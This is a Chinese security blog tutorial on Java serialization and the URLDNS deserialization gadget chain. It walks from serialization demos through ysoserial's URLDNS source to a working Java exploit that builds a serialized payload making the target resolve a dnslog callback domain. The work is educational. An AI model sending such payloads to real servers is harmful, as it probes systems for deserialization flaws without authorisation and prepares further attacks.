Java反序列化基础&URLDNS链
本文最后更新于 50 天前,其中的信息可能已经有所发展或是发生改变。

介绍

java序列化指把java对象转换为字节序列的过程便于保存到内存或文件当中,也可实现持久化存储,反序列化即把字节序列回复为java对象的过程

序列化和反序列化的实现

相关方法

ObjectOutputStream 类的 writeObject() 方法可以实现序列化。按 Java 的标准约定是给文件一个 .ser 扩展名

ObjectInputStream 类的 readObject() 方法用于反序列化

前提

实现java.io.Serializable接口才可以被反序列化,而且所有属性必须是可序列化的(transient 关键字修饰的属性除外,不参与序列化过程)

漏洞成因

序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码

Demo

import java.io.*;

public class People implements Serializable {
  private String name;
  private int age;

  // 构造函数
  public People(String name, int age) {
      this.name = name;
      this.age = age;
  }

  // Getter 和 Setter 方法
  public String getName() {
      return name;
  }

  public void setName(String name) {
      this.name = name;
  }

  public int getAge() {
      return age;
  }

  public void setAge(int age) {
      this.age = age;
  }

  @Override
  public String toString() {
      return "People{name='" + name + "', age=" + age + "}";
  }

  public static void main(String[] args) {
      // 创建 People 对象
      People person = new People("empty", 30);

      try {
          // 序列化:将对象写入文件
          FileOutputStream fileOut = new FileOutputStream("people.ser");
          ObjectOutputStream out = new ObjectOutputStream(fileOut);
          out.writeObject(person);
          out.close();
          fileOut.close();
          System.out.println("Serialized data is saved in people.ser");

          // 反序列化:从文件读取对象
          FileInputStream fileIn = new FileInputStream("people.ser");
          ObjectInputStream in = new ObjectInputStream(fileIn);
          People deserializedPerson = (People) in.readObject();
          in.close();
          fileIn.close();

          System.out.println("Deserialized object: " + deserializedPerson);

      } catch (IOException | ClassNotFoundException e) {
          e.printStackTrace();
      }
  }
}

可以看到toString方法自动触发,和php中触发差不多

分析

FileOutputStream fileOut = new FileOutputStream("people.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(person);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in people.ser");

序列化的过程

  • FileOutputStream:首先,创建一个 FileOutputStream 对象,用于指定序列化文件 people.ser。这个文件将存储序列化后的对象数据
  • ObjectOutputStream:然后,创建 ObjectOutputStream 对象,它用于将对象写入输出流。通过它可以将对象序列化为字节流
  • writeObject(person):调用 ObjectOutputStreamwriteObject() 方法将 person 对象序列化并写入文件 people.ser 中。此时,person 对象的所有属性(包括 nameage)会被转化为字节并保存到文件中
  • 关闭流:在完成序列化操作后,调用 out.close()fileOut.close() 关闭流,释放资源

序列化完成后,你会在程序所在目录中看到一个 people.ser 文件,其中包含了 person 对象的字节数据

反序列化过程

FileInputStream fileIn = new FileInputStream("people.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
People deserializedPerson = (People) in.readObject();
in.close();
fileIn.close();
System.out.println("Deserialized object: " + deserializedPerson);

FileInputStream:创建一个 FileInputStream 对象,指定文件 people.ser,这是你之前保存的序列化对象的文件

ObjectInputStream:然后,创建 ObjectInputStream 对象,用于从文件中读取字节流并反序列化为原来的对象

readObject():调用 ObjectInputStreamreadObject() 方法,从文件中读取字节流并将其转换回原始对象。返回值是 Object 类型,所以需要强制转换成 People 类型

关闭流:反序列化后,调用 in.close()fileIn.close() 关闭输入流

Serializable接口

Serializable 是java提供的标记接口,位于java.io包中,但是这个接口并没有任何内容(没有定义任何方法),它只是作为一个序列化能力的标识,意味着任何实现该接口的对象都可以实现序列化和反序列化的操作

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列(不是则会抛出异常)

public interface Serializable {
}

如果我们删除接口会报错

  • 如果该类的父类没有实现序列化接口,那么就需要提供无参构造函数来重新创建对象
  • 一个实现序列化接口的子类是可以被序列化的
  • 静态成员变量不能被序列化(因为序列化是针对对象属性的,而静态成员变量是属于类本身的)
  • transient标识的对象成员变量不参与序列化

针对如果该类的父类没有实现序列化接口,那么就需要提供无参构造函数来重新创建对象给出

import java.io.Serializable;

public class Animal {
  private String color;

  public Animal() {//没有无参构造将会报错
      System.out.println("调用 Animal 无参构造");
  }

  public Animal(String color) {
      this.color = color;

      System.out.println("调用 Animal 有 color 参数的构造");
  }

  @Override
  public String toString() {
      return "Animal{" +
              "color='" + color + '\'' +
              '}';
  }
}
import java.io.Serializable;

public class BlackCat extends Animal implements Serializable {
  private static final long serialVersionUID = 1L;
  private String name;

  public BlackCat() {
      super();
      System.out.println("调用黑猫的无参构造");
  }

  public BlackCat(String color, String name) {
      super(color);
      this.name = name;
      System.out.println("调用黑猫有 color 参数的构造");
  }

  @Override
  public String toString() {
      return "BlackCat{" +
              "name='" + name + '\'' +super.toString() +'\'' +
              '}';
  }
}
import java.io.*;

public class SuperMain {
  private static final String FILE_PATH = "./super.bin";

  public static void main(String[] args) throws Exception {
      serializeAnimal();
      deserializeAnimal();
  }

  private static void serializeAnimal() throws Exception {
      BlackCat black = new BlackCat("black", "我是黑猫");
      System.out.println("序列化前:"+black.toString());
      System.out.println("=================开始序列化================");
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
      oos.writeObject(black);
      oos.flush();
      oos.close();
  }

  private static void deserializeAnimal() throws Exception {
      System.out.println("=================开始反序列化================");
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
      BlackCat black = (BlackCat) ois.readObject();
      ois.close();
      System.out.println(black);
  }
}

URLDNS链

作为最基础的一条链子,仅仅发送一个DNS请求

利用java内置类构造,对第三方没有任何依赖

可以通过DNS请求得知是否存在反序列化漏洞

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
*   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
*   This was inspired by Philippe Arteau @h3xstream, who wrote a blog
*   posting describing how he modified the Java Commons Collections gadget
*   in ysoserial to open a URL. This takes the same idea, but eliminates
*   the dependency on Commons Collections and does a DNS lookup with just
*   standard JDK classes.
*
*   The Java URL class has an interesting property on its equals and
*   hashCode methods. The URL class will, as a side effect, do a DNS lookup
*   during a comparison (either equals or hashCode).
*
*   As part of deserialization, HashMap calls hashCode on each key that it
*   deserializes, so using a Java URL object as a serialized key allows
*   it to trigger a DNS lookup.
*
*   Gadget Chain:
*     HashMap.readObject()
*       HashMap.putVal()
*         HashMap.hash()
*           URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

  public Object getObject(final String url) throws Exception {

      //Avoid DNS resolution during payload creation
      //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
      URLStreamHandler handler = new SilentURLStreamHandler();

      HashMap ht = new HashMap(); // HashMap that will contain the URL
      URL u = new URL(null, url, handler); // URL to use as the Key
      ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

      Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

      return ht;
  }

  public static void main(final String[] args) throws Exception {
      PayloadRunner.run(URLDNS.class, args);
  }

  /**
    * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
    * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
    * using the serialized object.</p>
    *
    * <b>Potential false negative:</b>
    * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
    * second resolution.</p>
    */
  static class SilentURLStreamHandler extends URLStreamHandler {

      protected URLConnection openConnection(URL u) throws IOException {
          return null;
      }

      protected synchronized InetAddress getHostAddress(URL u) {
          return null;
      }
  }
}

URLDNS利用链路

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
Url.hashCode()

我们知道反序列化的方法是read0bject,但是只有HashMap这一个方法,我们跟进他

这边我们跟进到HashMap

private void readObject(ObjectInputStream s)
      throws IOException, ClassNotFoundException {

      ObjectInputStream.GetField fields = s.readFields();

      // Read loadFactor (ignore threshold)
      float lf = fields.get("loadFactor", 0.75f);
      if (lf <= 0 || Float.isNaN(lf))
          throw new InvalidObjectException("Illegal load factor: " + lf);

      lf = Math.clamp(lf, 0.25f, 4.0f);
      HashMap.UnsafeHolder.putLoadFactor(this, lf);

      reinitialize();

      s.readInt();               // Read and ignore number of buckets
      int mappings = s.readInt(); // Read number of mappings (size)
      if (mappings < 0) {
          throw new InvalidObjectException("Illegal mappings count: " + mappings);
      } else if (mappings == 0) {
          // use defaults
      } else if (mappings > 0) {
          double dc = Math.ceil(mappings / (double)lf);
          int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
                      DEFAULT_INITIAL_CAPACITY :
                      (dc >= MAXIMUM_CAPACITY) ?
                      MAXIMUM_CAPACITY :
                      tableSizeFor((int)dc));
          float ft = (float)cap * lf;
          threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                        (int)ft : Integer.MAX_VALUE);

          // Check Map.Entry[].class since it's the nearest public type to
          // what we're actually creating.
          SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
          @SuppressWarnings({"rawtypes","unchecked"})
          Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
          table = tab;

          // Read the keys and values, and put the mappings in the HashMap
          for (int i = 0; i < mappings; i++) {
              @SuppressWarnings("unchecked")
                  K key = (K) s.readObject();
              @SuppressWarnings("unchecked")
                  V value = (V) s.readObject();
              putVal(hash(key), key, value, false, false);
          }
      }
  }

在readobject中还会调用到putVal()

但是他内部又会调用hash(key)跟进hash()

static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  }

可以看到还会接着调用到hashCode()函数,继续跟进

这个调用了key.hashCode(),这里key是可控的,实际就是URL类重写的hashCode()方法

实际就是到了java.net.URL继续跟进

public synchronized int hashCode() {
      if (hashCode != -1)
          return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
  }

可以看到当hashCode不等于-1时,会调用handler.hashCode()返回hashCode

继续跟进

protected int hashCode(URL u) {
      int h = 0;

      // Generate the protocol part.
      String protocol = u.getProtocol();
      if (protocol != null)
          h += protocol.hashCode();

      // Generate the host part.
      InetAddress addr = getHostAddress(u);
      if (addr != null) {
          h += addr.hashCode();
      } else {
          String host = u.getHost();
          if (host != null)
              h += host.toLowerCase(Locale.ROOT).hashCode();
      }

      // Generate the file part.
      String file = u.getFile();
      if (file != null)
          h += file.hashCode();

      // Generate the port part.
      if (u.getPort() == -1)
          h += getDefaultPort();
      else
          h += u.getPort();

      // Generate the ref part.
      String ref = u.getRef();
      if (ref != null)
          h += ref.hashCode();

      return h;
  }

其中getHostAddress(u)解析域名,所以接着跟进

synchronized InetAddress getHostAddress() {
      if (hostAddress != null) {
          return hostAddress;
      }

      if (host == null || host.isEmpty()) {
          return null;
      }
      try {
          hostAddress = InetAddress.getByName(host);
      } catch (UnknownHostException | SecurityException ex) {
          return null;
      }
      return hostAddress;
  }

getByName 方法会执行 DNS 查找,解析主机名为对应的 IP 地址,会发送DNS请求,至此链子就结束

总结

这时候我们基本已经审完了,来梳理一下,大致就是调用URL的hashCode方法,从而调用hashCode进行计算,key重写hashCode方法,那么计算逻辑就是使用key的hashCode方法,所以我们可以将URL对象作为key传入到hashMap中,如果要调用hashCode方法,就必须让URL的hashCode的值为-1,因此我们可以利用反射在运行状态中操作hashCode

构造exp

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class URLDNSTest {

  public static void main(String[] args) throws Exception {
      // 目标恶意域名
      String maliciousDomain = "bwzb26.dnslog.cn"; // 改为你希望攻击的域名

      // 创建一个URL对象
      URL url = new URL("http://" + maliciousDomain);

      // 获取 URL 类的 hashCode 字段
      Class c = url.getClass();
      Field hashCode = c.getDeclaredField("hashCode");

      // 允许修改 private 字段
      hashCode.setAccessible(true);

      // 将 hashCode 设置为 1,防止在插入 HashMap 时访问 DNS
      hashCode.set(url, 1);

      // 创建一个 HashMap 并将 URL 作为 key 放入
      HashMap<URL, Integer> map = new HashMap<>();
      map.put(url, 1);

      // 将 hashCode 设置为 -1,强制触发 hashCode 方法访问 DNS
      hashCode.set(url, -1);

      // 序列化 HashMap 对象
      serialize(map);

      // 反序列化 HashMap 对象,触发 DNS 查询
      unserialize("exploitPayload.txt");
  }

  // 序列化方法,将对象保存到文件
  public static void serialize(Object object) throws Exception {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploitPayload.txt"));
      oos.writeObject(object);
      oos.close();
  }

  // 反序列化方法,从文件恢复对象
  public static void unserialize(String filename) throws Exception {
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject(); // 恢复对象
      ois.close();
  }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇